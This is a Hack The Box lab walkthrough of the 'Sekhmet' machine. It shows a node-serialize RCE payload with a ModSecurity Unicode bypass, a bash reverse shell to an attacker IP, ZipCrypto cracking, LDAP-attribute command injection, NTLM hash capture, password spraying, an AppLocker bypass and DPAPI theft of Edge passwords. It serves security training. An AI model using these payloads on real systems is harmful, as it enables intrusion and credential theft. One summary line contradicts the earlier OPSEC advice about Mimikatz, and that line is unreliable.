walkthroughs

HTB Sekhmet Walkthrough: Node.js Deserialization, WAF Bypass and DPAPI

HTB Sekhmet Walkthrough: Node.js Deserialization, WAF Bypass and DPAPI

HTB Sekhmet Insane,WriteUp Complete: insecure deserialization in node-serialize, bypass ModSecurity with Unicode encoding, ZipCrypto, Kerberos on Linux and DPAPI on Active Directory.

  • Posted on 2026-06-04
  • Reading time: 10 min

Difficulty: Insane | OS: Windows (with embedded Linux VM) | Release: September 2022


Sekhmet is one of the most complex machines HTB has ever released in the Insane category. It's not difficult because it requires obscure or zero-day exploits—it's difficult because each step requires you to truly understand what you're doing. The attack starts on an Express.js app with an insecure deserialization vulnerability in node-serialize, protected by ModSecurity. To bypass the WAF, you need to understand how it interprets requests compared to how the Node server interprets them. Then you land on a Linux VM joined to Active Directory, with a ZipCrypto-encrypted backup to crack, AD hashes to extract from the local sssd database, and a Kerberos escalation with ksuIn the second phase: lateral movement on the Windows DC with command injection on an LDAP attribute, capturing a Net-NTLMv2 hash, password spray, DPAPI on Edge and login as Domain Admin.


Recon #

bash
nmap -p- --min-rate 10000 10.10.11.179
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http

nmap -p 22,80 -sCV 10.10.11.179
# 22/tcp OpenSSH 8.4p1 Debian 5+deb11u1
# 80/tcp nginx/1.18.0 → 403 Forbidden

Two open ports. The server responds with a 403 root — there's a virtual hosting account active, and the server doesn't know how to handle the request without the proper credentials. Host: header. The OpenSSH version matches Debian 11 Bullseye. HTB shows the machine as Windows, but SSH on Debian immediately suggests a Linux VM inside a Windows host—a typical setup in simulated enterprise labs.

Subdomain Enumeration #

Visiting http://10.10.11.179 a redirect arrives to www.windcorp.htb. Let's add to the /etc/hosts and bruteforce the subdomains:

bash
ffuf -u http://10.10.11.179 \
     -H "Host: FUZZ.windcorp.htb" \
     -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt \
     -ac -mc all

# [Status: 403, Size: 2436] → FUZZ: portal

The flag -ac (auto-calibrate) is essential: ffuf sends a few initial requests with random values ​​to understand how the server responds to non-existent subdomains—it builds the baseline. From there, it automatically filters out all identical responses. Without -ac, with -mc all, you would end up with 20k false positives. We find portal.windcorp.htb right away.


Portal Analysis: Fingerprinting #

Su portal.windcorp.htb There's a login page. The response headers reveal the tech stack:

text
X-Powered-By: Express
Content-Type: text/html; charset=utf-8

Node.js + Express. admin:admin It works. Logging in sets a cookie:

text
Set-Cookie: profile=eyJ1c2VybmFtZSI6ImFkbWluIiwiYWRtaW4iOiIxIiwibG9nb24iOjE2ODAwMjM5Nzc1NzF9
bash
echo "eyJ1..." | base64 -d
# {"username":"admin","admin":"1","logon":1680023977571}

Field logon It's a timestamp in milliseconds. The app shows how many seconds you've been logged in—so that cookie is deserialized on each request to calculate the difference.


Prototype Pollution: Dead End #

Before I got to deserialization, I spent a lot of time experimenting with server-side prototype pollution. The field logon reflected in the page was a classic indicator: trying constructor.prototype.logon=x in the cookie, the answer came back NaN seconds — confirms that the pollution was working.

But confirmed pollution isn't automatic RCE. You need a gadget—code in the codebase that reads from the prototype chain and does something useful. I tried. execArgv, shell, NODE_OPTIONS, classic vectors for child_process.spawn, getting nothing. No callback on the listener.

The lesson: when you're stuck on the same vector for hours without making any real progress, it's time to change direction. Prototype pollution was there, but it wasn't leading anywhere on this app. I changed my approach and looked at the cookie from a different angle.


Insecure Deserialization in Node.js #

node-serialize vs JSON #

node-serialize serializes JavaScript objects including functions — which JSON.stringify/parse does not do:

javascript
// JSON.parse — sicuro, ignora funzioni
JSON.parse('{"cmd":"ls"}')  // → { cmd: 'ls' }

// node-serialize — pericoloso
var serialize = require('node-serialize');
serialize.unserialize('{"x":"_$$ND_FUNC$$_function(){ return require(\'child_process\').execSync(\'id\').toString() }()"}');
// → uid=1000(webster)...

The magic string _$$ND_FUNC$$_ is the trigger. When unserialize() meets her, reconstructs the function by passing it on to eval(). Internally:

javascript
if (val.indexOf('_$$ND_FUNC$$_') === 0) {
    val = eval('(' + val.substring(13) + ')');
}

IIFE: why is it needed? () final #

javascript
// Funzione DEFINITA, non eseguita:
function(){ require('child_process').exec('id') }

// IIFE — definita e immediatamente eseguita:
function(){ require('child_process').exec('id') }()

Without the () the final, eval() defines the function but does not call it. With the () It is executed immediately during deserialization.

Basic payload:

json
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ping -c 1 10.10.14.X', function(error,stdout,stderr){ console.log(stdout) })}()"}

Base64 encode, cookie profile → ModSecurity blocks with 403.


ModSecurity: Anatomy of the Block #

ModSecurity with OWASP CRS monitors in REQUEST-934-APPLICATION-ATTACK-GENERIC.conf the strings:

  • _$$ND_FUNC$$_
  • function() {
  • eval(
  • String.fromCharCode(

The recent version of the CRS applies the transformation urlDecodeUni before the regex — decode both %XX and \uXXXX. The version on Sekhmet is older and does not include urlDecodeUni. This is the weak point.


The Unicode Bypass #

The mechanism #

Two actors, same string, different behavior:

  • ModSecurity — parses the raw cookie as text, without decoding \uXXXX
  • Node.js — ago JSON.parse(), which natively supports Unicode escapes

If we write \u0024 instead of $ (codepoint U+0024):

  • The WAF sees \u0024, search for $$, not matcha — does not block
  • JSON.parse() converts \u0024 in $, the server gets _$$ND_FUNC$$_ intact

Same logic for { → \u007b.

Final payload #

We proceed incrementally adding one token at a time until the WAF blocks again, then we encode that token:

json
{"rce":"_$$ND_FUNC\u0024$_function() \u007brequire('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.10.14.X/443 0>&1\"', function(error,stdout,stderr) {console.log(stdout)});\n}()"}

Encode in base64, Burp Repeater as cookie profile, open listener:

bash
nc -lnvp 443
# webster@webserver:/$

Shell Upgrade:

bash
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset  # Terminal type? screen

Linux VMs: Enumeration #

Internal network #

bash
ip addr
# eth0: 192.168.0.100/24

for i in {1..254}; do (ping -c 1 192.168.0.${i} | grep "bytes from" &); done
# 192.168.0.2 → hope.windcorp.htb (DC)
# 192.168.0.100 → noi stessi

sssd: Linux joined to AD #

bash
ps auxww | grep sss
# /usr/sbin/sssd
# /usr/libexec/sssd/sssd_be --domain windcorp.htb

sssd (System Security Services Daemon) connects Linux to Active Directory by intercepting PAM/NSS. To operate offline, it locally caches authenticated user password hashes in a TDB database. /var/lib/sss/db/. As webster We can't access it — but a filesystem backup might contain it.


backup.zip: ZipCrypto Known Plaintext Attack #

bash
7z l -slt backup.zip | grep -E "Method|Encrypted"
# Method = ZipCrypto Deflate
# Encrypted = +

zip2john It displays archive metadata—filename, size, CRC32—even without a password. The content is encrypted, but the metadata isn't. This is exactly what the known plaintext attack is for: if we can find the plaintext of one of the files in the archive, we can use bkcrack with the same file to break the encryption.

Why ZipCrypto is broken #

ZipCrypto is a stream cipher from the 90s with three 32-bit words as its internal state (K0, K1, K2). Biham and Kocher demonstrated in 1994 that with 12 consecutive bytes of known plaintext, the internal keys can be reconstructed independently of the password. These keys can be used to decrypt the entire archive.

There is in the archive etc/passwdLet's check that it is identical to the current file with the CRC32:

python
python3 -c "
import binascii
data = open('/etc/passwd','rb').read()
print(hex(binascii.crc32(data) & 0xffffffff))
"
# 0xd00eee74  ← identico al CRC nel backup.zip
bash
# Zip del plaintext noto
zip plain.zip passwd

# Recupero delle chiavi interne
bkcrack -C backup.zip -c etc/passwd -P plain.zip -p passwd
# Keys: d6829d8d 8514ff97 afc3f825

# Nuovo archivio con password nota
bkcrack -C backup.zip -k d6829d8d 8514ff97 afc3f825 -U backup-pass.zip pass

7z x backup-pass.zip  # password: pass
# → etc/ e var/lib/sss/db/

Hash extraction from sssd #

bash
apt install samba  # per tdbdump
tdbdump cache_windcorp.htb.ldb | grep -A 5 "cachedPassword"
# $6$nHb338EAa7BAeuR0$MFQjz2.B688LXEDsx035...wg2zX81

Unix SHA-512 hash ($6$) by Ray.Duncan — saved by sssd for offline login:

bash
hashcat ray.hash /usr/share/wordlists/rockyou.txt
# $6$nHb338EAa7BAeuR0$...:pantera

Escalation to root via Kerberos + ksu #

bash
kinit ray.duncan   # password: pantera
klist
# Default principal: ray.duncan@WINDCORP.HTB

ksu is the Kerberos equivalent of su. Does not use /etc/sudoers — use the file /root/.k5users o /root/.k5login to decide whether the authenticated Kerberos user can become root.

bash
ksu
# Authenticated ray.duncan@WINDCORP.HTB
# Account root: authorization for ray.duncan@WINDCORP.HTB successful
root@webserver:/home/webster#
bash
# SSH persistente
echo "ssh-ed25519 AAAA... " >> /root/.ssh/authorized_keys

Pivoting to hope.windcorp.htb #

bash
# Nmap statico sul DC
./nmap -p- --min-rate 10000 192.168.0.2
# 22, 53, 88, 389, 445, 5985, 9389...

Classic DC — Open WinRM and SMB.

SOCKS Tunnel via SSH #

bash
# Sulla sessione SSH: Enter ×2 poi ~C
ssh> -D 1080

Alternatively, ligolo-ng is more convenient for multi-pivot environments, but here only one internal network — SOCKS is enough.

Let's configure Kerberos on Kali:

this
# /etc/krb5.conf
[libdefaults]
    default_realm = WINDCORP.HTB
[realms]
    WINDCORP.HTB = { kdc = hope.windcorp.htb }
bash
proxychains kinit ray.duncan
# password: pantera

SMB Enumeration on the DC #

I ran into a problem here. The current impacket tools (smbclient.py, etc.) with proxychains and Kerberos on this configuration weren't authenticating properly—the connection would come through, but authentication would fail. I thought I was doing it wrong. I checked a specific reference and found the procedure was correct—it was the impacket version. With impacket v0.10, it worked fine.

bash
proxychains smbclient -k -L //hope.windcorp.htb
# ADMIN$, C$, IPC$, NETLOGON, SYSVOL, WC-Share

WC-Share It's the only non-standard share. Inside:

bash
proxychains smbclient -k //hope.windcorp.htb/WC-Share
smb: \> ls
# temp/
smb: \> cd temp
smb: \temp\> get debug-users.txt
text
IvanJennings43235345
MiriamMills93827637
BenjaminHernandez23232323
RayDuncan9342211

Four entries with username + number. This file is updated by something in the background. On NETLOGON:

bash
proxychains smbclient -k //hope.windcorp.htb/NETLOGON
smb: \> get form.ps1

form.ps1 is a PowerShell script that builds a GUI to update the attribute mobile in LDAP. The relevant part:

powershell
if ($result -eq [System.Windows.Forms.DialogResult]::OK) {
    $x = $textBox.Text
    $User.Put("mobile", $x)
    $User.SetInfo()
}

The file points straight to the attribute mobile. The numbers in the debug-users.txt They probably correspond to the users' mobile values. There's a script that reads the mobile attributes from LDAP every so many minutes and writes them to the file.


Command Injection via LDAP Attribute #

If the script reads mobile and uses it without sanitizing it, we have command injection. From the VM as root (we have a valid Kerberos ticket), we modify Ray.Duncan's mobile:

bash
echo -e 'dn: CN=RAY DUNCAN,OU=DEVELOPMENT,DC=WINDCORP,DC=HTB\nchangetype: modify\nreplace: mobile\nmobile: 223223223' \
  | ldapmodify -H ldap://hope.windcorp.htb
# SASL/GSS-SPNEGO authentication started
# modifying entry "CN=RAY DUNCAN,OU=DEVELOPMENT,DC=WINDCORP,DC=HTB"

After about two minutes (cron time), debug-users.txt it updates:

text
RayDuncan223223223

The value is reflected directly. Let's try injection with $(whoami):

bash
echo -e 'dn: CN=RAY DUNCAN,...\nchangetype: modify\nreplace: mobile\nmobile: $(whoami)' \
  | ldapmodify -H ldap://hope.windcorp.htb

Output to file:

text
RayDuncanwindcorp\scriptrunner

Command injection confirmed. The script runs as WINDCORP\scriptrunnerLet's check the connectivity to us:

bash
mobile: $(ping 10.10.14.X)
bash
sudo tcpdump -ni tun0 icmp
# 10.10.11.179 → 10.10.14.X: ICMP echo request

RCE on the DC as a scriptrunner, but we can't do direct reverse shell (AppLocker blocks external binaries). We're aiming to capture the hash.


Capture Hash Net-NTLMv2 by scriptrunner #

To get SMB authentication to our smbserver.py, we need to route through the VM — the DC can't reach our tun0 directly.

First, let's enable remote port forwarding over SSH:

bash
# In /etc/ssh/sshd_config su webserver:
GatewayPorts yes
service sshd restart

Then we reconnect SSH with reverse tunnel:

bash
sudo ssh -i ~/keys/ed25519_gen root@10.10.11.179 \
  -D 1080 \
  -R 0.0.0.0:445:127.0.0.1:445

-R 0.0.0.0:445:127.0.0.1:445 → the webserver listens on port 445 on all interfaces and forwards via SSH to our local smbserver.py.

Let's run smbserver.py (impacket v0.10):

bash
smbserver.py hackita . -smb2support

Let's set the mobile attribute:

bash
mobile: $(net use \\\\webserver.windcorp.htb\\hackita 2>&1)

When the script runs, we capture the Net-NTLMv2 from scriptrunner:

text
[*] AUTHENTICATE_MESSAGE (WINDCORP\scriptrunner,HOPE)
[*] scriptrunner::WINDCORP:aaaa...:6dd2c5e5...:0101...
bash
hashcat scriptrunner.hash /usr/share/wordlists/rockyou.txt
# SCRIPTRUNNER::WINDCORP:...:!@p%i&J#iNNo1T2

Password: !@p%i&J#iNNo1T2


Password Spray with Kerbrute #

scriptrunner is a service account without WinRM. However, the same password could be shared. Let's retrieve all domain users:

bash
ldapsearch -H ldap://hope.windcorp.htb -b "DC=WINDCORP,DC=HTB" sAMAccountName \
  | grep sAMAccountName | awk '{print $2}' > domainusers
# 597 utenti

We load kerbrute on the VM and launch the spray:

bash
./kerbrute passwordspray -d windcorp.htb domainusers '!@p%i&J#iNNo1T2'

# [+] VALID LOGIN: Bob.Wood@windcorp.htb:!@p%i&J#iNNo1T2
# [+] VALID LOGIN: scriptrunner@windcorp.htb:!@p%i&J#iNNo1T2

Bob.Wood uses the same password. From ldapsearch let's see he's in the group Adminusers e IT — likely WinRM access.


Shell as Bob.Wood #

bash
proxychains kinit bob.wood    # password: !@p%i&J#iNNo1T2
proxychains evil-winrm -i hope.windcorp.htb -r windcorp.htb

# *Evil-WinRM* PS C:\Users\Bob.Wood\Documents>

We're in as Bob.Wood, but we're not Domain Admins. There's not much on Bob.Wood's home page yet—the focus is on DPAPI.


DPAPI: Encrypted Credentials in Edge #

Structure #

DPAPI (Data Protection API) is the Windows mechanism for encrypting secrets by tying them to the user's identity. The keys are derived from the user's password via master key. Edge (Chromium) stores passwords in a SQLite database (Login Data) encrypted with DPAPI.

The files we need:

  • C:\Users\Bob.Wood\AppData\Local\Microsoft\Edge\User Data\Default\Login Data — SQLite database with encrypted passwords
  • C:\Users\Bob.Wood\AppData\Local\Microsoft\Edge\User Data\Local State — JSON with the Edge-specific encryption key, which is in turn encrypted with DPAPI
  • C:\Users\Bob.Wood\AppData\Roaming\Microsoft\Protect\{SID}\ — DPAPI masterkey

For a complete look at the internal workings of DPAPI, the structure of master keys, and how to extract them, see DPAPI: Extract Encrypted Credentials on Windows.

AppLocker: Finding Where to Run #

Mimikatz is blocked by AppLocker. To understand what we can do and where:

powershell
get-applockerpolicy -effective -xml

The policy allows execution from %WINDIR%\* with exceptions. Looking for common directories writable by normal users that are not in the exceptions list, we find C:\windows\debug\wia:

powershell
echo "test" > C:\windows\debug\wia\test.txt   # funziona
copy \windows\system32\cmd.exe C:\windows\debug\wia\c.exe
.\c.exe /c echo "running"   # funziona

It's not in the AppLocker block list — we can run binaries from there.


Method 1: DPAPI Offline with pypykatz #

Edge File Exfiltration #

Local State It's a JSON that we can read directly. Login Data It's binary — we use certutil for encoding:

powershell
certutil -encode "Login Data" \programdata\logindata
type \programdata\logindata
# → base64 molto lungo, copiamo via terminale

A cleaner alternative, since we already have write access to WC-Share: we copy the files directly to the SMB share and download them from there without going through the clipboard or certutil:

powershell
copy "Local State" "C:\WC-Share\temp\state"
copy "Login Data"  "C:\WC-Share\temp\logindata"

From Kali:

bash
proxychains smbclient -k //hope.windcorp.htb/WC-Share
smb: \temp\> get state
smb: \temp\> get logindata

Or via smbclient.py (impacket v0.10):

bash
proxychains smbclient.py -k -no-pass windcorp.htb/ray.duncan@hope.windcorp.htb
# use WC-Share
# get temp\state
# get temp\logindata

More convenient, zero intermediate encoding, intact binaries.

On Kali we decrypt and get the SQLite database:

bash
file logindata
# logindata: SQLite 3.x database

Login Data Analysis #

bash
sqlite3 logindata
sqlite> select origin_url, username_value, password_value from logins;
# http://somewhere.com     | bob.wood@windcorp.htb  | [cifrato]
# http://google.com        | bob.wood@windcorp.htb  | [cifrato]
# http://webmail.windcorp.com | bob.woodADM@windcorp.com | [cifrato]

Three accounts — one is bob.woodADMThe encryption key is in Local State:

bash
cat localstate | jq -r .os_crypt.encrypted_key
# DPAPI... base64

Decrypt with pypykatz #

The process is in 4 steps:

bash
# Step 1: pre-chiavi dal SID + password
pypykatz dpapi prekey password \
  'S-1-5-21-1844305427-4058123335-2739572863-2761' \
  '!@p%i&J#iNNo1T2' | tee pkf
# → 3 pre-chiavi SHA

# Step 2: masterkey decifrata
pypykatz dpapi masterkey \
  a8bd1009-f2ac-43ca-9266-8e029f503e11 pkf -o mkf

# Step 3+4: decrypt Edge
pypykatz dpapi chrome --logindata logindata mkf localstate

Output:

text
user: bob.wood@windcorp.htb    pass: SemTro32756Gff         url: http://somewhere.com
user: bob.wood@windcorp.htb    pass: SomeSecurePasswordIGuess!09  url: http://google.com
user: bob.woodADM@windcorp.com pass: smeT-Worg-wer-m024     url: http://webmail.windcorp.com

Method 2: SharpChromium On-Box #

Faster alternative: SharpChromium, a .NET binary that doesn't trigger AppLocker if loaded into the right directory.

powershell
# Da Evil-WinRM
iwr http://10.10.14.X/SharpChromium.exe -outfile C:\windows\debug\wia\scium.exe
.\scium.exe logins

The output is identical to the offline method—same three passwords. Method 2 is faster, but requires uploading a binary to the target. Method 1 is stealthier.


Domain Admin: bob.woodADM #

bob.woodADM@windcorp.com This is clearly Bob.Wood's privileged account. The password saved in Edge for webmail is the domain password:

bash
proxychains kinit bob.woodadm
# password: smeT-Worg-wer-m024

proxychains evil-winrm -i hope.windcorp.htb -r windcorp.htb

# *Evil-WinRM* PS C:\Users\bob.woodadm\Documents>
powershell
whoami /groups
# WINDCORP\Domain Admins — Mandatory group, Enabled
powershell
type C:\Users\administrator\desktop\root.txt
# b5fd7823...

OPSEC Notes #

Deserialization entry: payload spawns a child process visible in the process list. An in-process shell is preferred for production.

sssd hash extraction: working on a backup avoids live access to /var/lib/sss/db/ detectable by auditd.

Kerberos ticket: limited duration — use with long sessions k5start for automatic renewal.

Command injection via mobile attribute: stealth vector — does not require direct access to the DC filesystem, only write permission on the user's LDAP attribute.

Net-NTLMv2 capture: Captured via reverse SSH tunnel — zero traffic from tun0 to the DC, everything goes through the internal VM.

DPAPI offline: Decrypted on Kali — no DPAPI events generated on the DC, unlike Mimikatz direct on the machine.

AppLocker bypass: Instead of looking for exotic bypasses, identify writable directories that are not blocked by policy. C:\windows\debug\wia It doesn't appear in exceptions and isn't blocked — just copy the binary there.


Key Concepts #

  • Prototype pollution needed to be confirmed but did not lead to RCE — when you are stuck too long, change vector
  • node-serialize uses eval() internally on the marker _$$ND_FUNC$$_ — any untrusted data that arrives at unserialize() it's RCE
  • WAF bypass works because urlDecodeUni missing: ModSecurity sees \u0024 as literal, JSON.parse() he interprets it as $
  • Se zip2john show files with CRC32 in a ZipCrypto archive, you have enough to bkcrack — the plaintext of the same file on the machine is the key
  • sssd caches AD hashes locally — a filesystem backup is like having the domain's SAM
  • ksu Use Kerberos, not sudoers — the ticket is the key
  • Field mobile in LDAP it is user-writable to itself in many configurations — if a script reads it without sanitization, it is command injection
  • Same password on service accounts and real users is a real AD problem, not just CTF
  • DPAPI offline does not generate events on the target — always prefer to run Mimikatz in-place
#active-directory #htb-writeup #node-serialization

leave a message

I'm not a robot